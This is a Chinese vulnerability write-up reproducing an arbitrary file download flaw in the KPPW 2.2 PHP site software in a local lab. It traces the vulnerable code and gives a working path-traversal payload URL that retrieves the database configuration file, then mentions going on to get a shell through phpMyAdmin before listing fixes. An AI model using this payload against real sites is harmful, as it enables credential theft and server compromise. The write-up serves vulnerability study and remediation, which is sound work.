KPPW2.2 漏洞利用--文件下载

KPPW2.2 漏洞利用--文件下载

任意文件下载漏洞

 

环境搭建

1,集成环境简单方便,如wamp,phpstudy....

2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

3,安装,访问(http://127.0.0.1/test/KPPW2.2UTF8/install/index.php)(如果显示500错误  Internal Server Error ,须将目录下面的 .htaccess 文件删除),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

 

上述,漏洞复现平台搭建成功。

首页(http://127.0.0.1/test/KPPW2.2UTF8/index.php)。

 

 

漏洞分析

任意文件下载漏洞

 Web应用程序中提供的文件下载接口对用户提交的数据过滤不严格,导致黑客可以通过构造相对路径,文件后缀等方式,将其他文件传入文件下载接口中,并利用该方式非法获取服务器数据。

 

本次漏洞根源位于 /control/ajax/ajax_file.php,代码如下:

<?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
    switch ($ajax){
        case "load":
            if($work_id){
                $file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
                $file_list = keke_task_class::get_work_file($file_ids);
            }
            break;
        case "download":
            keke_file_class::file_down($file_name, $file_path);
            break;
        case "delete":
            $res = keke_file_class::del_att_file($file_id, $filepath);
            $res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
            die ();
            break;

switch有四个选项,分别为:loaddownloaddeletedel

变量$ajax 传过来哪个值,就会执行哪部分的代码,比如传过来的值为 download,则就会执行下载模块下的代码。

在 download 选项中,可以看到,有文件名和文件路径的参数:

case "download":
            keke_file_class::file_down($file_name, $file_path);
            break;

我们继续跟进 file_down 这个函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

static function file_down($file_name, $file_path) {
        keke_lang_class::load_lang_class ( 'keke_file_class' );
        global $_lang;
        if($file_name&&$file_path){
            if(strpos($file_path, 'data/uploads/') !== false ){
                $filename = S_ROOT . $file_path;
                if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
                    kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                }
                $downfilename = str_replace ( ' ', '%20', $file_name );
                Header ( "Content-type: application/octet-stream" );
                Header ( "Accept-Ranges: bytes" );
                Header ( "Accept-Length: " . filesize ( $filename ) );
                Header ( "Content-Disposition: attachment; filename=" . $downfilename );
                $file = fopen ( $filename, "r" );
                echo fread ( $file, filesize ( $filename ) );
                fclose ( $file );
                die ();
            }else{
                kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
            }
        }else{
            kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
        }
    }

 

可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

它这里就限制了只能下载 uploads 下的文件。

接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

如果满足以上所有条件,就执行下载操作。

通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件。

我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

因此我们可以利用相对路径构造 payload,如下:

http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

这样可以下载到数据库配置文件。

 

这里就详细解释一下里面的参数,do,view,ajax,file_name,file_path。

首先看下入口 /index.php  第46行

$log_account=null;
if(isset($_COOKIE['log_account'])){
    $log_account = $_COOKIE['log_account'];
}
$square_open = $plug_arr['square']['status'];
kekezu::redirect_second_domain();
include S_ROOT . 'control/' . $do . '.php'; #第46

include 进行包含,这里根据 do 的参数的值的不同而包含 control 目录下不同的文件,payload里面的 do 等于 ajax,因此是进行包含 control 目录下的 ajax.php

接下来追踪到 /control/ajax.php

<?php defined ( 'IN_KEKE' ) or exit('Access Denied');
$_K['is_rewrite'] = 0 ;
$views = array('prom','ajax','upload','indus','score','code','share','menu','message','file','task','shop');
in_array($view,$views) or $view ="ajax";
require 'ajax/ajax_'.$view.'.php';

这里看下第三行 views 参数

这里的 views 是一个数组,下面的 require 函数是进行包含调用文件,总体来说就是从数组 views 里面选出来一个值,进而包含这个文件。

例如,当参数 views=file,下面就会包含 ajax/ajax_file.php 文件。

这样的话就回到了刚开始的分析的 /control/ajax/ajax_file.php 文件。

<?php    defined ( 'IN_KEKE' ) or exit('Access Denied');
    switch ($ajax){
        case "load":
            if($work_id){
                $file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
                $file_list = keke_task_class::get_work_file($file_ids);
            }
            break;
        case "download":
            keke_file_class::file_down($file_name, $file_path);
            break;
        case "delete":
            $res = keke_file_class::del_att_file($file_id, $filepath);
            $res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
            die ();
            break;

这里是 ajax 参数,我们这里让 ajax 参数的值是 download,就会触发 file_down() 函数。

第四个参数file_name和第五个参数file_path,其中 file_name 是我们自定义的文件名称,file_path 是下载的文件路径。

也就是这里任意下载的文件,我们可以重新命名下载到本地。

追踪 file_down() 函数,它位于 lib/helper/keke_file_class.php ,188 行 代码如下:

static function file_down($file_name, $file_path) {
        keke_lang_class::load_lang_class ( 'keke_file_class' );
        global $_lang;
        if($file_name&&$file_path){
            if(strpos($file_path, 'data/uploads/') !== false ){
                $filename = S_ROOT . $file_path;
                if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
                    kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
                }
                $downfilename = str_replace ( ' ', '%20', $file_name );
                Header ( "Content-type: application/octet-stream" );
                Header ( "Accept-Ranges: bytes" );
                Header ( "Accept-Length: " . filesize ( $filename ) );
                Header ( "Content-Disposition: attachment; filename=" . $downfilename );
                $file = fopen ( $filename, "r" );
                echo fread ( $file, filesize ( $filename ) );
                fclose ( $file );
                die ();
            }else{
                kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
            }
        }else{
            kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
        }
    }

可以看到,系统首先将文件名称和文件路径传入,下面判断,如果在传入的路径中,没有 data/uploads ,则跳出循环。

它这里就限制了只能下载 uploads 下的文件。接下来拼接字符串,形成一个新路径。接下来继续判断,如果文件名不存在,或者文件后缀名为 .php ,就会终止下载。

如果满足以上所有条件,就执行下载操作。

通过以上分析,得知它首先限制了路径,并限制了包含 php 文件的下载。

但是代码中忽略了一点,我们下载文件不一定是通过绝对路径下载,还可以通过相对路径下载文件,利用 ../ 下载到上级目录的文件。

我们可以在  data/uploads 后使用相对路径。就可以跳到前面的文件夹中,这样既包含了 data/uploads 字符串,符合代码规范,又可以跳到任意的文件夹。

因此,我们构造了 payload 进而触发漏洞。

http://127.0.0.1/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

 

 

漏洞利用

利用 hackbar ,输入 payload :

http://127.0.0.1/test/KPPW2.2UTF8/index.php?do=ajax&view=file&ajax=download&file_name=config.inc.php&file_path=data/uploads/../../config/config.inc.phP

 

 

成功下载了文件,并获取了数据库账号密码。

接下来可以通过远程连接数据库进行渗透,如:通过phpmyadmin 进行 getshell ,或者远程连接数据库获取更多的有用信息。

 

 

漏洞修复

  • 过滤点(.)使用户在url中不能回溯上级目录
  • 正则严格判断用户输入参数的格式
  • php.ini 配置open_basedir限定文件访问范围

 

 

源码链接(链接: https://pan.baidu.com/s/1bqiSorH 密码: mk48)

本文链接(http://www.cnblogs.com/Oran9e/p/8259879.html),转载请注明。

任重而道远!

转载于:https://www.cnblogs.com/Oran9e/p/8259879.html

客客威客系统KPPW是一款基于PHP+MYSQL技术构架的威客系统 ,积客客团队多年实践和对威客模式商业化运作的大量调查分析而精心策划研发,是您轻松搭建威客网站的首选利器。KPPW针对威客 任务模型进行了细致的分析,提供完善威客任务流程控制解决方案,并将逐步分享威客系统专业化应用作为我们的发展目标。 2013年4月11日KPPW2.2BETA版本全面升级上线了!新版产品功能吸收了客客过往对威客行业的经验积累,同时广泛采纳站长的意见。符合现行的威客行业及创意产业社区电子商务的解决方案,特别是在快速生成垂直行业领域的交易模型成为KPPW的亮点。新版在保持原有底层结构同时进行了全面的细节功能改进: 1、界面设计提升,用户交互体验改进; 新版对前端界面用户体验做了细致的改进,保持原有风格不变情况下对首页、列表、详细页、发布等套页的展示进行改造优化,前端界面更简洁大气。在大量采纳威客站长的建议后,新版本从前端功能到后台管理员的交互操作都进行了梳理,使KPPW威客系统更接近主流威客站点的体验感。新版更实用的前端功能、更简约的UI界面和更简单的交互操作; 2、系统内置11套核心交易流程全面改进; 经过三年多的威客系统搭建,KPPW核心交易流程有了大量的积累。本次开发对9套任务交易模型和2套商品交易模型流程进行了全新梳理,新改造的流程更具场景应用性,而且特别新增交易后台管理,让客服人员方便的随时参与交易过程管理。整站站长可结合自身运营特点自由搭配选择,搭建最合适的非传统商品交易的站点。 3、用户建议、举报、维权的全新定义; 用户参与是交易平台保证公平交易的重要手段,新版重视用户介入操作。[建议]的对象为平台,用户可在便捷的对网站提交宝贵建议;[举报]为关注交易的用户发起,以监督为目了解交易整个过程;[维权]是系统为交易双方提供的又一强有力的保障,让管理员能在核心利益点上履行中介服务。新版在用户辅助参与交易的时机和方式上有仔细的控制; 4、系统在安全性能、SEO性能进行了升级; 新版在安全和性能升级上更注重细节的检验,新增十五项安全机制考虑和二十多项SEO功能优化,KPPW新版的任务、商品、资讯等主题信息比以前更安全、更好搜,站长在运营时配合对应管理功能可让站点更快的得到有效推广; 5、新增开发广场微博功能,让初期上线运营网站更有人气; 威客系统是社区与电子商务跨度的弱关系产品,在强电子商务交易行为下,社区粘度将是威客类网站提升项目价值的新方向。新开发的广场功能,借鉴微博流的展示形式。不仅整合了威客任务和商品交易的信息流,同时新增免费需求、免费服务功能,为用户提供方便的主题交流形式,广场功能为威客新站带来了活跃流量; 6、后台新增应用中心,开放了KPPW推广联盟等功能; 后台应用中心是客客团队的新尝试,希望通过不断引入的插件功能让您的威客网站做得更好!首次新开发的推广联盟是为站与站之间搭建了一个推广交易渠道,KPPW允许跨站展示任务数据。对于寻求雇主和威客资源有长短的站长们,这将是提升数据源、用户量、资金流的多赢功能; 7、WEBAPP部署,更成熟的HTML5网页设计 全面升级手机版功能,以HTML5&CSS3为基础的网页开发,针对不同终端分辨率做了调整,在满足WEB站点功能同时,让商业授权用户快速拥有自己的WEBAPP站点拓展移动互联网市场。 如各种设备分辨率WVGA(480×800),FWVGA (480×854),HVGA(320×480),QVGA(240×320),1024×600,1280×800 支持设备,phone(主流手机)、平板电脑、笔记本、宽屏显示器 主要功能: 全新UI风格设计 全新前后台UI风格设计,严格遵循W3C网页标准,采用HTML5、CSS3开发技术,KPPW2.0的整站设计充分考虑了威客行业用户体验需求和对未来拓展性开发的页面支持性。 商城交易模型化,拓展性更强 威客商城是以卖方市场为导向的新型威客模式,KPPW一直都引领着这一主题的创新发展。新版本在程序构架上让商品模块化,支持类似任务模型一样的独立开发。 全局代码构架改善,更安全更高效 新版本程序结构深入改造,面向对象MVC设计模式,模块化挂接。减少重复造轮子,增加了代码的重用性,需要的时可以安装这个模块,不需要时可以卸载这个模块。 用户经验权限体系改造更体贴 新版本重构了用户经验权限体系,针对威客应用的贴切需求,将雇主信用和威客能力进行了重新规划开发,可与其他更多的威客站点平移数据。 任务模型开发规范,流程更细致 针对威客任务交易日益增长的需求,KPPW对现有的悬赏任务、招标任务进行了重新的开发设计。在老版本基础上确定出了新的用户体验、任务
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值